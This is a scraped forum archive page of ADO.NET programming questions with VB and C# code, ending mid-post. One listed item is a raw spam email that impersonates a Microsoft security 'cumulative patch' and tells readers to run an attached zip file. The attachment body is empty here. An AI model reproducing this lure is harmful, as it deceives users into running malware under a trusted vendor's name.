get current identity of a table error???

TheMSsForum.com: The Microsoft Software Forum

  • The MSS Forum ‹ Ado
    • Archive
      • Biz
      • MCSE
      • CRM
      • Drivers
      • Framework
      • ADO
      • ASP
      • Compact
      • Forms
      • Dotnet
      • C#
      • VB
      • FontpageGen
      • Excel
      • WorkSheet
      • Exchange
      • Setup
      • Fox
      • Fontpage
      • ASP
      • IIS
      • Entourage
      • Money
      • Messanger
      • PocketPC
      • Powerpoint
      • Project
      • Publisher
      • Excel
      • VB
      • Security
      • Portal
      • Services
      • SQLServerDev
      • SVCS
      • SQLServer
      • VB
      • VC
      • MFC
      • ExcelGen
    • Previous
      • 1
        • System.NullReferenceException thrown but can't be caught In ADO.NET has anyone ever seen a case where you get an: Unhandled Exception: System.NullReferenceException: Object reference not set to an instance of an object. during an IDbCommand.ExecuteReader call just out of nowhere and your try/catch block not handle it? I have a SQL query running through an OracleConnection, and I frequently get this exception thrown and there's nothing I can do to handle it. The query can run for about an hour or so, and then this exception gets thrown within my try/catch block, but it can't be caught. I catch on both NullReferenceException and Exception and neither one of them catches this exception. Thanks, Scott Tag: get current identity of a table error??? Tag: 67316
      • 2
        • Check out the internet update --bnuzyoyuyeqtt Content-Type: multipart/related; boundary="ilcpwunpiipw"; type="multipart/alternative" --ilcpwunpiipw Content-Type: multipart/alternative; boundary="rgkupxevdj" --rgkupxevdj Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "September 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to help maintain the security of your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. --rgkupxevdj Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:krfymro" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Customer<BR><BR> this is the latest version of security update, the "September 2003, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three new vulnerabilities. Install now to help maintain the security of your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pcakrxq" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pcakrxq" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pcakrxq" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pcakrxq" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pcakrxq" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --rgkupxevdj-- --ilcpwunpiipw Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <krfymro> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt 9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx /+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r 9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV 606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg 4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAaAA7AAAI/gCVCRxI sKDBgwgTKlzIsKHDhxAjKgwiqs2kSJEgQfqyp2PHLxoxTmojSpTEkyglBrGYcU+el3n09PEDSFKg mzclAfLTRw/MPV4gjTSZsmhRURchuXwUs88fSYIGubEiqyqAq1gBNLPiRlCgPz197tE4MojRswuD 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 --ilcpwunpiipw Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <pcakrxq> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --ilcpwunpiipw-- --bnuzyoyuyeqtt Content-Type: application/x-compressed; name="qnjwg.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --bnuzyoyuyeqtt-- Tag: get current identity of a table error??? Tag: 67315
      • 3
        • Can't Delete registers in a Acces DB Hi: I have this problem when I try to delete a record and then Update the DB, the record is not deleted. I can add a record but I can't delete it. This is the procedure Iam using, for Update: Dim fila As Data.DataRow Dim i, j As Integer Dim lwItem As ListViewItem Dim columna As Data.DataColumn ' Try For i = 0 To ListaTablas.Items.Count - 1 lwItem = ListaTablas.Items(i) fila = CType(ListaTablas.Items(i).Tag, Data.DataRow) fila.BeginEdit() j = 0 For Each columna In dbDataSet.Tables (NombreTabla).Columns If j = 0 Then If columna.AutoIncrement = False Then fila(j) = lwItem.Text End If Else If columna.AutoIncrement = False Then fila(columna.ColumnName) = lwItem.SubItems(j).Text End If End If j += 1 Next fila.EndEdit() Next dbDataAdapter.Update(dbDataSet, NombreTabla) dbDataSet.AcceptChanges() Catch errActualizar As Exception MsgBox(errActualizar.Message) End Try Thanks on advance Javier Ayala Tag: get current identity of a table error??? Tag: 67314
      • 4
        • Unique values from dataset? The dataset was populated with "Select category, detail, information from tblmain". Now, I'd like to populate a System.Windows.Forms.ListBox with distinct "category" fields, i.e. each category is listed in the listbox only once. I'd like to use the dataset I already have without going to the server again. Would DataView play a part in this? Thanks for any info... Marty Tag: get current identity of a table error??? Tag: 67311
      • 5
        • How to pull back one field from a child into parent I have 2 datasets, Parent and Child, with a datarelation between the 2. Each Parent can have 1-n Childs. The Child table has a boolean field called "FavoriteChild" of which only one of the related Childs per Parent has the value set to true. How would I display the Name field of the favorite child in each Parent record. Thanks. Tag: get current identity of a table error??? Tag: 67309
      • 6
        • Raise exception in stored procedure Hi all, Could someone please point me to any docs explaining how to raise exceptions in stored procedures and catch them in C# ? Thanks, Oleg. Tag: get current identity of a table error??? Tag: 67307
      • 7
        • TOP 5 in access db how do you get the TOP clause to work in ADO.NET? I have tried this SELECT TOP 1 NOTE FROM NOTES and that works, but soon as i raise the number past 1 it gives me the entire table back! I want the top 5 records not all of them, how do you get this to work in ado.net with an access db.. thanks! Tag: get current identity of a table error??? Tag: 67304
      • 8
        • Transactions and Threading Hi, I've written some code that uses a transaction to call a stored procedure. It is multi-threaded in two ways. First, I create a new thread to call the method in question. In addition, the whole class is called by BizTalk every time an EDI file comes into our system, so this DLL could be fired up several times a second during peak volume. Our problem manifests when we drop a few files into BizTalk all at once, which calls my code a few times all at once. I tried commenting out the thread-spawning code to simplify things, but I still can't control when files enter our system. Even with my threading removed, I'm still getting the error, "SqlConnection does not support parallel transactions" when the code calls connection.BeginTransaction() on about 1 out of every 4 or 5 files processed. I also see a few "This SqlTransaction has completed; it is no longer usable" on trans.Rollback(), and "Invalid operation. The connection is closed." on connection.BeginTransaction(). Before I removed the threading, I also got errors like "ExecuteReader requires an open and available Connection. The connection's current state is Closed," "Object reference not set to an instance of an object," and "BeginTransaction requires an open and available Connection. The connection's current state is Open." The interesting thing about that ExecuteReader error is that my code is not using ExecuteReader, but some code that executes after my thread is spawned does use it. I guess that's why it doesn't show up when there is no multithreading. This does not explain, however, why my class traps the exception about ExecuteReader and writes it to the event log. I would think that the other code would either handle or throw this exception. Anyway, here's my code (below). Most of the database stuff came straight from MSDN or something. The function at the top is mine. The code comes from multiple files and classes, but this shouldn't really hinder your interpretation. Can anyone tell what is wrong? I'm hoping that I can tweak some threading or connection parameters and get it to work as it was intended. Thanks for your time! myClass myObj = new MyClass(); myObj.AddRecord(); // added when next two lines were commented out //System.Threading.Thread thfoo = new System.Threading.Thread(new System.Threading.ThreadStart(myObj.AddRecord)); //thfoo.Start(); private void AddRecord() { string strSPName = "foo"; arParms[0] = new SqlParameter("@foo1", SqlDbType.VarChar, 25 ); arParms[0].Value = "hello"; ... arParms[7] = new SqlParameter("@foo2", SqlDbType.VarChar, 255); arParms[7].Value = "world"; using (SqlConnection conn = DBConnection.GetConnection()) { SqlTransaction trans = conn.BeginTransaction(); try { // Call ExecuteNonQuery static method of SqlHelper class // We pass in command type, stored procedure name, and an array of SqlParameter objects SqlHelper.ExecuteNonQuery(trans, CommandType.StoredProcedure, strSPName, arParms); trans.Commit(); } catch (Exception ex) { // roll back transaction trans.Rollback(); } finally { conn.Close(); } } } public static SqlConnection GetConnection() { if (myConnection == null || myConnection.State == ConnectionState.Closed) { new DBConnection(); } return myConnection; } private DBConnection() { myConnection = new SqlConnection(strDBConnectionString); myConnection.Open(); myConnection.StateChange += new System.Data.StateChangeEventHandler (myConnection_StateChange); myConnection.InfoMessage += new SqlInfoMessageEventHandler(myConnection_InfoMessage); } public static int ExecuteNonQuery(SqlTransaction transaction, CommandType commandType, string commandText, params SqlParameter[] commandParameters) { //create a command and prepare it for execution SqlCommand cmd = new SqlCommand(); PrepareCommand(cmd, transaction.Connection, transaction, commandType, commandText, commandParameters); //finally, execute the command. int retval = cmd.ExecuteNonQuery(); // detach the SqlParameters from the command object, so they can be reused cmd.Parameters.Clear(); return retval; } private static void PrepareCommand(SqlCommand command, SqlConnection connection, SqlTransaction transaction, CommandType commandType, string commandText, SqlParameter[] commandParameters) { //if the provided connection is not open, we will open it if (connection.State != ConnectionState.Open) { connection.Open(); } //associate the connection with the command command.Connection = connection; //set the command text (stored procedure name or SQL statement) command.CommandText = commandText; //if we were provided a transaction, assign it. if (transaction != null) { command.Transaction = transaction; } //set the command type command.CommandType = commandType; //attach the command parameters if they are provided if (commandParameters != null) { AttachParameters(command, commandParameters); } return; } private static void AttachParameters(SqlCommand command, SqlParameter[] commandParameters) { foreach (SqlParameter p in commandParameters) { //check for derived output value with no value assigned if ((p.Direction == ParameterDirection.InputOutput) && (p.Value == null)) { p.Value = DBNull.Value; } command.Parameters.Add(p); } } Tag: get current identity of a table error??? Tag: 67303
      • 9
        • Running out of transactions? This is a multi-part message in MIME format. ------=_NextPart_000_0128_01C3874D.EF6C4E70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have a series of COM+ objects. One is called by my ASP.Net = application and is passed the name of an action and the parameters for = that action. That object then queries the database with the action name = to see if it should be in a transaction, and if so, it hands off to a = version of itself that has its TransactionOption set to Required (so I = only run in a transaction when necessary). The called method of the = code in both versions looks like this: Public Function Gateway(ByVal Security As String, ByVal Action As = String) As Object Try Gateway =3D CommonGateway(Security, Action) If ContextUtil.IsInTransaction Then ContextUtil.SetComplete() Catch If ContextUtil.IsInTransaction Then ContextUtil.SetAbort() Throw 'Returns error to application End Try End Function So the transaction should either be committed or aborted no matter what. The action could involve one or more calls to the database, and each = call goes through a single COM+ object. The code for this object is = below. If I look at Enterprise Manager and watch the Process Info (under = Management\Current Activity), when I call a non-transactional action = multiple times, I notice that eventually nearly 20 processes are open to = the database, all in "sleeping" state with 0 open transactions, command = is "AWAITING COMMAND", application is ".Net SqlClient Data Provider", = and subsequent calls do not raise this number. (What I find odd here is = that one call opens two processes, and so when I make the next call, it = doesn't immediately reuse the existing processes. Maybe that's just = .Net's special way of preparing for load?) If I make multiple calls to a transactional action, the number of = connections keeps going up, with 1 open transaction each. At this = point, I start getting errors. The error tends to vary -- sometimes = it's a "Transaction was implicitly or explicitly committed or aborted", = others a "timeout period elapsed prior to obtaining a connection from = the pool", others a simple "general network error" -- but it all seems = to be related to having so many processes open. Stopping and restarting = SQL Server makes the error go away (until the number of processes hits = whatever the threshhold is again). Also of note, the COM+ objects don't shut down after the three minutes = they're configured for. This would all seem to indicate (to my untrained eye) that references = are not being released somewhere, but I can't figure out how or why. At = the very least, shouldn't the GC clean up what I'm failing to catch? "BaseDAL" COM+ object code: Public Enum ReturnType NoReturn =3D 0 Scalar =3D 1 DataSet =3D 2 XML =3D 3 End Enum =20 <System.Runtime.InteropServices.ProgId("BaseDAL.MyDB"), _ Transaction(TransactionOption.Supported), _ ObjectPoolingAttribute(Enabled:=3DTrue), _ JustInTimeActivation(True), EventTrackingEnabled(True)> _ Public Class MyDB Inherits ServicedComponent Private blnDebug As Boolean =20 Private Function OpenMyDBConnection() As = SqlClient.SqlConnection =20 Dim oConfig As New WMS.Config 'An object to read = the registry OpenWarehouseDBConnection =3D New = SqlClient.SqlConnection(oConfig.ConfigValue("MyDB", "ConnectionString")) OpenMyDBConnection.Open() oConfig =3D Nothing =20 End Function =20 Private Function BuildSPCommand(ByVal SPName As String, = ByVal Parameters As Hashtable) As SqlClient.SqlCommand =20 Dim oCmd As New SqlClient.SqlCommand(SPName, = OpenMyDBConnection()) =20 Dim SqlParameter As SqlClient.SqlParameter =20 oCmd.CommandType =3D CommandType.StoredProcedure SqlClient.SqlCommandBuilder.DeriveParameters(oCmd) If Not Parameters Is Nothing Then For Each SqlParameter In oCmd.Parameters If = Parameters.ContainsKey(SqlParameter.ParameterName) Then If = IsDBNull(Parameters.Item(SqlParameter.ParameterName)) Then SqlParameter.Value =3D = DBNull.Value Else SqlParameter.Value =3D = Parameters.Item(SqlParameter.ParameterName).ToString End If End If Next End If BuildSPCommand =3D oCmd oCmd =3D Nothing =20 End Function =20 Public Function RunSP(ByVal SP As String, ByVal ReturnType = As BaseDAL.ReturnType, Optional ByVal Params As Hashtable =3D Nothing) = As Object Dim oCmd As SqlClient.SqlCommand =3D = BuildSPCommand(SP, Params) RunSP =3D RunAndReturn(oCmd, ReturnType) oCmd.Dispose() : oCmd =3D Nothing End Function =20 Public Function RunSQL(ByVal SQL As String, ByVal = ReturnType As BaseDAL.ReturnType) As Object Dim oCmd As New SqlClient.SqlCommand(SQL, = OpenWarehouseDBConnection()) RunSQL =3D RunAndReturn(oCmd, ReturnType) oCmd.Dispose() : oCmd =3D Nothing =20 End Function =20 Private Function RunAndReturn(ByRef oCmd As = SqlClient.SqlCommand, ByVal rtType As BaseDAL.ReturnType) As Object =20 Dim oConfig As New WMS.Config, strTimeout As String strTimeout =3D oConfig.ConfigValue("MyDB", = "CommandTimeout") oConfig =3D Nothing If IsNumeric(strTimeout) Then oCmd.CommandTimeout = =3D CInt(strTimeout) Select Case rtType Case ReturnType.NoReturn RunAndReturn =3D = oCmd.ExecuteNonQuery() Case ReturnType.Scalar RunAndReturn =3D oCmd.ExecuteScalar() Case ReturnType.DataSet Dim oDA As New = SqlClient.SqlDataAdapter(oCmd) Dim oDS As New Data.DataSet oDA.Fill(oDS) oDA.Dispose() : oDA =3D Nothing RunAndReturn =3D oDS Case ReturnType.XML Dim oXMLReader As Xml.XmlReader =3D = oCmd.ExecuteXmlReader() Dim sbdXML As New Text.StringBuilder If oXMLReader.Read Then Do = sbdXML.Append(oXMLReader.ReadOuterXml) Loop Until oXMLReader.EOF End If oXMLReader.Close() : oXMLReader =3D = Nothing RunAndReturn =3D sbdXML.ToString() sbdXML =3D Nothing End Select End Function =20 End Class =20 ------=_NextPart_000_0128_01C3874D.EF6C4E70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=3DContent-Type content=3D"text/html; = charset=3Diso-8859-1"> <META content=3D"MSHTML 6.00.2800.1226" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY> <DIV><FONT face=3DArial size=3D2>I have a series of 